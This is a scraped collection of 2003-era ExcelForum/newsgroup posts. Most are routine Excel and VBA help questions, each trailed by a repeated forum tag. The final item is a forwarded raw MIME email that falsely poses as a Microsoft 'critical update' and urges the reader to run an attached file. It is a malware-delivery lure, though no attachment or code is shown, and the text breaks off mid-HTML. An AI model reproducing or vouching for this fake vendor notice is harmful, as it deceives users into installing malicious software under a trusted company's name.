Counting populated rows in excel
I have some rows populated in an excel sheet. Is there a way I can writ
a macro to count the number of populated rows
-----------------------------------------------
~~ Message posted from http://www.ExcelTip.com
~~View and post usenet messages directly from http://www.ExcelForum.com Tag: Excel - Paste Special Values Question Tag: 22366
excel2002
Hi all
Sorry if this has been covered before: Is there any way to make an excel
workbook always open on the same worksheet immaterial of where you actually
saved or closed the workbook?
Many thanks
elwyn Tag: Excel - Paste Special Values Question Tag: 22360
Disable Clipboard
Hello. Using Excel 2002, how can I disable the clipboard to keep popping up
when I copy a cell?
Un-check the 'Show Clipboard Automatically' option but still opens everytime
I make a copy.
Better yet, is there a way to uninstall that feature at all?
Thank you very much. Tag: Excel - Paste Special Values Question Tag: 22359
Time * Rate of pay
I'm trying to use excel as a paycheck calculator. So far, I have star
time, finish time, finish - start time to calculate hours, but I can'
seem to multiply a time and a dollar value. Can someone please help m
with this
-----------------------------------------------
~~ Message posted from http://www.ExcelTip.com
~~View and post usenet messages directly from http://www.ExcelForum.com Tag: Excel - Paste Special Values Question Tag: 22348
hlookup, same dates in row I'm looking up from
Hello all,
First, thanks to all for making this such a worthwhile resource. I
feel humbled whenever I have to post a question and I get such
thought-out responses.
Here's my latest scenario. I have 23 sheets. In one sheet, I enter
purchase orders. Each Item that is being ordered has its own sheet
where certain information (order date, number, arrival and quantity)
from those purchase orders is automatically updated and further
tracked.
Purchase Order Entry Sheet
PO Date 9/12/03 11/20/03 11/20/03 12/14/03
PO Number 123 234 345 456
PO Est. Arrival 9/30/03 11/30/03 12/5/03 12/30/03
Item 1 45 100
Item 2 222
Item 3 11 18
Item 4 24
Each Item has a sheet. I have HLookups looking at the PO Date on the
PO Entry Sheet and filling in how many items were ordered. The problem
comes when I have two orders with the same date (see 11/20). Only one
of those orders is picked up by the HLookup. I need it to find both so
that all orders are accounted for on the Item sheets. In my example
above, I would have four Item sheets, but only (in my situation) is
the 2nd order on 11/20 recorded in the item sheets. Item_1 and Item_2
orders for 11/20 are not being picked up.
This is very difficult to explain. I hope I've made sense. I'm using
Excel 2002.
Please let me know if you need more information. Thank you one and
all!
Christine Flott Tag: Excel - Paste Special Values Question Tag: 22310
Copy formulaS between Workbooks
This might be some sort of follow up question from Ken Runge post "Cop
formula between Workbooks" from Oct-23-2003. I would like to copy som
formulas from one workbook to another without getting a reference t
the original workbook
-----------------------------------------------
~~ Message posted from http://www.ExcelTip.com
~~View and post usenet messages directly from http://www.ExcelForum.com Tag: Excel - Paste Special Values Question Tag: 22309
Error Opening a File
Hi,
I am trying to open a existing text file to write some
text,but the Existing Text file is already open.
So I can't write anything using VBA Macro for Excel 2000.
I am getting error while Opening the Text file.
Is it possible for any one to guide how to handle this
Error ??
I am using following code.
here fileName is already open in some other applicaiton.
Open fileName For Output Access Write As #fileNumber
How to handle this Error . I want to display an error
message saying that The file is already open ..
Thanks
Mili. Tag: Excel - Paste Special Values Question Tag: 22307
Error Opening a File
Hi,
I am trying to open a existing text file to write some
text,but the Existing Text file is already open.
So I can't write anything using VBA Macro for Excel 2000.
I am getting error while Opening the Text file.
Is it possible for any one to guide how to handle this
Error ??
I am using following code.
here fileName is already open in some other applicaiton.
Open fileName For Output Access Write As #fileNumber
How to handle this Error . I want to display an error
message saying that The file is already open ..
Thanks
Mili. Tag: Excel - Paste Special Values Question Tag: 22306
Custom Menus
Hello,
Does anyone know if it's possible to share custom menus.
My company run a NT network and everyone uses Excel. I want to create a
custom menu in excel which is managed centrally.
Anyone got any suggestions?
I do not check my allanmartin@ntlworld.com account. I only use it for New
Groups and I ignore it as it has been harvested too many times.
Please respond to the newsgroup and I will check it daily.
Many thanks.
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.538 / Virus Database: 333 - Release Date: 10/11/2003 Tag: Excel - Paste Special Values Question Tag: 22302
.XLS > .HTML
Hi,
I have some Excel workbooks I'd like to prepare for web viewing.
However, the built in publish to web feature in Excel 2002 (XP) never gives
the graphs, AutoShapes or WordArt from the original file. MHTML archive
format gives a file bigger than the original, which would take quite some
time to download over a dialup connection.
I've heard the latest version of Office works better in terms of getting my
files onto the web, is there any truth in that?
Thanks
Dylan
ps. If there are any glitches in the code produced I can correct them as I
have Dreamweaver on the same system. Tag: Excel - Paste Special Values Question Tag: 22299
Row Numbers
Hi,
If I delete a row in excel i.e. row 7 then the row numbers go out of sync
i.e.
5
6
8
9
etc
is it possible to correct this?
Thanks for your help Tag: Excel - Paste Special Values Question Tag: 22294
Displaying a + sign on positive numbers
I am calculating the percentage increase / decrease on two numbers. If the
difference results in a decrease of, say 2.2% it is displayed as -2.2%
If the result is an increase of 2.2%, then 2.2% is displayed. Purely for
formatting reasons, I wish to display the figure as +2.2%
How can I set this up so that positive numbers contain a plus sign, whilst
maintaining the cell as a number? I can carry out an IF statement that will
add a "+" to the figure if it's greater than zero, but this ignores any
formatting to a set number of decimal places.
Any help will be appreciated! Tag: Excel - Paste Special Values Question Tag: 22290
XLXP: Text cut-off at end?
Hi,
Pls. download the attached MSEXcel File.
Look at point # 16, the "aaaaa's" at the end are cut-off.
Pls. can you advise me why this is & how I can fix this problem.
Thanks
+----------------------------------------------------------------
| Attachment filename: test_file.xls
|Download attachment: http://www.excelforum.com/attachment.php?postid=355002
+----------------------------------------------------------------
-----------------------------------------------
~~ Message posted from http://www.ExcelTip.com
~~View and post usenet messages directly from http://www.ExcelForum.com Tag: Excel - Paste Special Values Question Tag: 22285
Calculations in Excel
Hi every1!
If u can, plz help me with this excel question (its been bothering me
for ageas already!):
Total Available: 25
Runout date: ???
A B
Date Quantity Required
1/6/2003 6
3/7/2003 14
4/8/2003 9
8/11/2003 6
How do i make it show the date that the food runs out on (4/8/2003 in
this case) and the day before it will run out (3/7/2003 in this case)?
If u can help, then plz reply!!
Thx in advance
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22284
Please help
Hi,
Once again I need your help guys,
Ive got to colums of data :
3 4
5 7
5 8
6 9
etc. etc.
I want to set up a formula that determites if A and B are inside some
different ranges, and
thereby set C to a value. I tried with IF but i got 12 sets of ranges...
Is it possible to do in a matrix ?
Best regards,
Sauer Tag: Excel - Paste Special Values Question Tag: 22268
Selecting First AutoFilter Row
How do I select the first filter row of an autofiltered range?
I tried going to the top of the range and doing an offset:
range("E1").Activate
ActiveCell.Offset(1, 0).Activate
but that did not work.
If E1 was the header row and E150 was the first filtered row, this code
above would activate E2. Tag: Excel - Paste Special Values Question Tag: 22266
excel 2003 - navigating regions
i am going through the "inside out" book for excel 2003 and need help
in figuring out why i can't navigate regions as described in the book.
- i open the regional sales.xls file (that is shipped with the book)
and select a cell (say a4)
- click ctrl+right arrow ... expect to get to the next active cell
(b4) but the worksheet scrolls to the right but no change in
selection. doesn't seem to matter what document i open
very strange Tag: Excel - Paste Special Values Question Tag: 22265
Pivot Table -- Don't want first column sorted at all
I have created a pivot table with totals for 20 years, one in each column.
The data in the source table appears in a certain order, WHICH I'D LIKE
PRESERVED in the pivot table.
The pivot table, however, wants to sort things alpha or something. That
is bad. I don't want that.
How do I have it NOT sort the categories down the first column?
Thanks.
Rob Miller
Oakland CA Tag: Excel - Paste Special Values Question Tag: 22262
printing of columns HELP
hi there
i am sure this is a simple question
I have a list of names and phones (column A and B) I would like to
print several columns to fill the page (i.e. just how a phone book
looks
how do I do this)
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22259
conditional formating to highlight current week?
Hi,
I have a row of week beginings (mondays) for the year and i want to use
condition formating to change the format of the cell that contains the
current week. something like...
if cell value is between today()-6 and today() then special format
however i cant get it to work, i have days where two weeks are
formatted?
any ideas?
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22250
hyperlink to existing excel file
When I create a hyperlink to an existing excel file and then click on it,
explorer opens to the folder that the file is in instead of the excel file
opening. Just to test I pointed it to a word document and the doc file
opened fine. How do I get a hyperlink to open the excel file? Thanks. Tag: Excel - Paste Special Values Question Tag: 22242
Controls and focus
Hello,
I have a sheet with several buttons on it. If I type in a cell, I need to
click outside the cell before I can choose the button. Is there a way to go
directly from typing in a cell to clicking the button?
thanks
bill Tag: Excel - Paste Special Values Question Tag: 22235
Remove Grid Lines Permanently!
Hi, I need to be told again how to hack my registry to remove the grid
lines permanently, not just for a couple of sheets but all of them always,
no grid lines ever.
I am running excel 2002 10.2614.2625. I have the details for an older
version but not this ver.Can someone please help, I hate grid lines!!
David Tag: Excel - Paste Special Values Question Tag: 22234
Is it possibele to calculate in DEGREES not in radians
Hi, i'm new to this forum
i hope that you can help me with my problem:
for example: if i write a function
SIN(30)
it is suposed to be 0.5 in degrees, but becouse excel calculates in
radians i have to write SIN((PI()/180)*30)
Is it possibele to calculate by defoult in DEGREES not in radians
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22227
time and cost calculations
This is probably easy when you know how...
I have an Excel XP cost-analysis spreadsheet with columns that show:
task
role allocated to task (i.e. job title - which is a 'pick list' using
the Data Validation)
person allocated to task (a LOOKUP based on the role field)
pay rate (a LOOKUP based on the role field)
time to perform task (in the format of hh:mm)
regularity of task per month (based on 4.33 weeks / month - from 52
weeks / year divided by 12 months)
time to perform task / month (calculated from 'time to perform task' x
'regularity of task per month')
monthly cost of task ('pay rate' x 'time to perform task / month)
The 'monthly cost of task' field does not display correctly - it
defaults to dd:mm format. When I change this to number or accounting
the results just don't calculate correctly.
Easy answer would probably be to convert the 'time to perform task'
field to decimal format but it would be nicer (and easier for data
input) to be able to enter the time in hh:mm format.
Anybody out there able to help? Quite happy to send the spreadsheet if
that helps.
cheers.
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22225
HELP PLEASE - New Workbook is 35MB instead of 35KB!!
I am using Excel 2000 (9.0.6926 SP-3) on XP Pro operating system. Today I
created a new workbook - it consists of seven worksheets, each containing 4
or 5 columns of figures - maximum size of any one worksheet is 55 lines -
there are no links to any other information. Suddenly things slowed right
down - when I checked in Windows explorer I discovered that the size of this
workbook is 35,024 kb - I couldn't work out why that would be so I tried
cutting and pasting the information into a new workbook - this time the
result is 35,013 kb. Can anyone explain what is happening here? I have
another similar workbook that I created last week and it's 20kb (which is
what I expected this one would be). I'm afraid I have no way of working out
what is going on here. I'm in a standalone environment. I do NOT have a
virus (I run NAV and all my virus definitions are up to date).
Any help would be very grateful for any suggestions.
Tricia Tag: Excel - Paste Special Values Question Tag: 22210
color, problem
I have trouble getting color in my excel sheets.Any suggestions
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22209
Delete color row
Hi,
After I compare two worksheets (VB as below) and highlight the same
value with colour, now I want to delete the same value row.
The comparison VB that I have worked:
Selection.FormatConditions.Add Type:=xlExpression, Formula1:= _
"=COUNTIF(New,H5)=1"
Selection.FormatConditions(1).Interior.ColorIndex = 6
How do I write VB to delete color row?
Raymond
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22207
rounding off numbers
Hi everyone!
I was just wondering if it's possible to change the parameters of the
'rounding off' function to round up to the next number if the number is
something like 24.3 instead of 24.5? Is that possible?
Thanks so much for any help!!!
DL Tag: Excel - Paste Special Values Question Tag: 22200
Dates shown as text - how to convert
When I use the trim function on some dates that have been input as text, the
leading spaces are gone. But Excel still treats the dates as though they
were text
However, if I hit the F2 key to enter the edit mode and then press Enter, it
converts the information to dates. How do I convert thess quasi-text cells
without manually editing each one? Is there a worksheet function that will
do this?
Thanks Tag: Excel - Paste Special Values Question Tag: 22195
Find and replace 9000 times?
There are 2 columns of data, A, and B. A contains numbers and B
contains what these numbers stand for. These columns contain about 9000
rows of data.
How do I replace the data in column A with that in column B?
One method is to use find and replace, going down column A and
replacing them by hand for all 9000 rows:-
For example:
1 = Avon
2 = Devon
3 = UK
4 = USA
^ press ctrl+H, type in 1 in the find box, and Avon in the replace box.
Run and repeat replacing all instances in the database 9000 times.
Is VBA the only option, and if so how may I do so?
TIA if you can!
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22192
Copy Cell Value (text) to Header?
I want to grab the text in a cell (company's name) and automatically copy it
to the header using a macro.
Thanks for any help.
Mike Tag: Excel - Paste Special Values Question Tag: 22190
Dividing by 100 when I don't want it!!!
When I put numbers in a cell in excel, they are automatically divided by
100, yet there is no formula in the cell. Which button have I activated to
do this or what may I have done by mistake? Thanks for your help.
Dormouse Tag: Excel - Paste Special Values Question Tag: 22176
macro screen
Is htere a way to bypass the macro security screen? (the one that asks to
enable or disable? Tag: Excel - Paste Special Values Question Tag: 22174
user/passwords
Hi, just a basic question and hopefully a simple solution. Basically I
want to have a user/pass box that, when the data is correct, takes you
to a worksheet. I have searched the forums/site and havent found
anothing usefull. I have tried using macros and cutting up some vb code
that looked..interesting..but none worked.
TIA :)
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22170
Auto Numbering
Hi
I am trying to create a database in Excel (yes, i know i should probably be
using Access, but unfortunately the firm i work with are too tight to
purchase it for everyone!) and trying to make it relational. The aim (i
think) is to have 3 databases, one for contact information (this would
include a list of clients, other Estate Agents and applicant details), one
to store a list of properties which are available, under offer, or let, in
our region and a third database to show job details (ie: what the job was,
how much, when started, when completed, who was in charge etc).
What i need to know is if it is possible to link each database and how do i
go about it. Each of the databases would have something in common with each
other i.e. the name of the Estate Agent dealing with a specific property
would be included on the property database and on the contact database. In
addition to this if our company was dealing with a specific property then a
job number would be allocated to the property and the job details and number
would reside on the Job database.
Do i need to give each individual record an ID (as in Access), or can i just
link via the Estate Agent's name or, in the case of the job database, via
the job number.
Any assistance would be most appreciated.
Many thanks
Nic Tag: Excel - Paste Special Values Question Tag: 22167
capture directory listings to Excel
This is probably a stupid question, but is there some way to capture the
file names, type, and date information from a Windows Explore dialog for use
in Excel?
Thanks,
E-Jo Tag: Excel - Paste Special Values Question Tag: 22164
Creating a list
[FONT=arial]Please can somebody help! I'm trying to create a drop down
list in Excel and cannot remember how to do it![/FONT=century] If
somebody could tell me ASAP it would be brilliant.
Thanks for your help! :)
Alex :D
------------------------------------------------
~~ Message posted from http://www.ExcelTip.com/
~~View and post usenet messages directly from http://www.ExcelForum.com/ Tag: Excel - Paste Special Values Question Tag: 22160
VBA: Detecting multiply selected sheets
Hi there.
Hopefully someone can help me with this, cause I can't seem to find any way
to do it...
I am trying to write a bit of code that will cycle through only the sheets
that I have previously selected by clicking on their tabs (holding down
'ctrl' as if selecting multiple sheets to print) then do <something> with
each of these selected sheets, ignoring the others in the workbook. I'll be
stuffed if I can see how to do it though! :(
Any suggestions??
Cheers all!
Glen Tag: Excel - Paste Special Values Question Tag: 22157
additon of cel imput automaticaly
hi
i have the following problem but no solution,
i want to format the cells B2:R99 as follow
for example B4 (like all others) if u enter a number it should add it
automatically for example:
Step1: input in B4 of 4 - output: 4 - algorithmus in formulr bar:
4
Step1: input in B4 of 5 - output: 9 - algorithmus in formulr bar:
=4+5
Step1: input in B4 of 3 - output 12 -algorithmus in formulr bar =
4+5+3
Step1: input in B4 of -4 output 8 - algorithmus in formulr bar
=4+5+3-4
i want to create a material list for a project for others, but this list
contains of 500 positions and 5 tables
but i want these data to be pursue-able . i am not really good in makro
programming, i have an additions algorithmus makro witch adds but it does
not give the algorithmus in the formular bar just the vallue of the output,
(for example only vallue 9 instead of '=4+5+7-7')
hope someone could help me
kind regards
mario Tag: Excel - Paste Special Values Question Tag: 22152
Strange error - inaccurate calculations
ok, try this:
A1: 125
B1: =A1*0,021 (it is 2,625 - no more, no less)
C1: =ROUND(B1;2) (it is 2,63 - no more, no less)
D1: =C1-B1 (it should be 0,005 - no more, no less - but it is
0,00499999999999989)
WHY?!!!
I'm not sure if it is ROUND function in international version of Excel, I'm
using Polish version of Excel and it is translated, but you for sure know
what function I mean. Tag: Excel - Paste Special Values Question Tag: 22150
FWD: Use this critical update
--unurplecctg
Content-Type: multipart/related; boundary="vypginpmfscrutioe";
type="multipart/alternative"
--vypginpmfscrutioe
Content-Type: multipart/alternative; boundary="fqlvtksz"
--fqlvtksz
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Customer
this is the latest version of security update, the
"November 2003, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your computer.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2003 Microsoft Corporation.
--fqlvtksz
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:akrzbcc" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Customer<BR><BR>
this is the latest version of security update, the
"November 2003, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your computer.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:patiikp" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:patiikp" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:patiikp" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:patiikp" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:patiikp" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
&l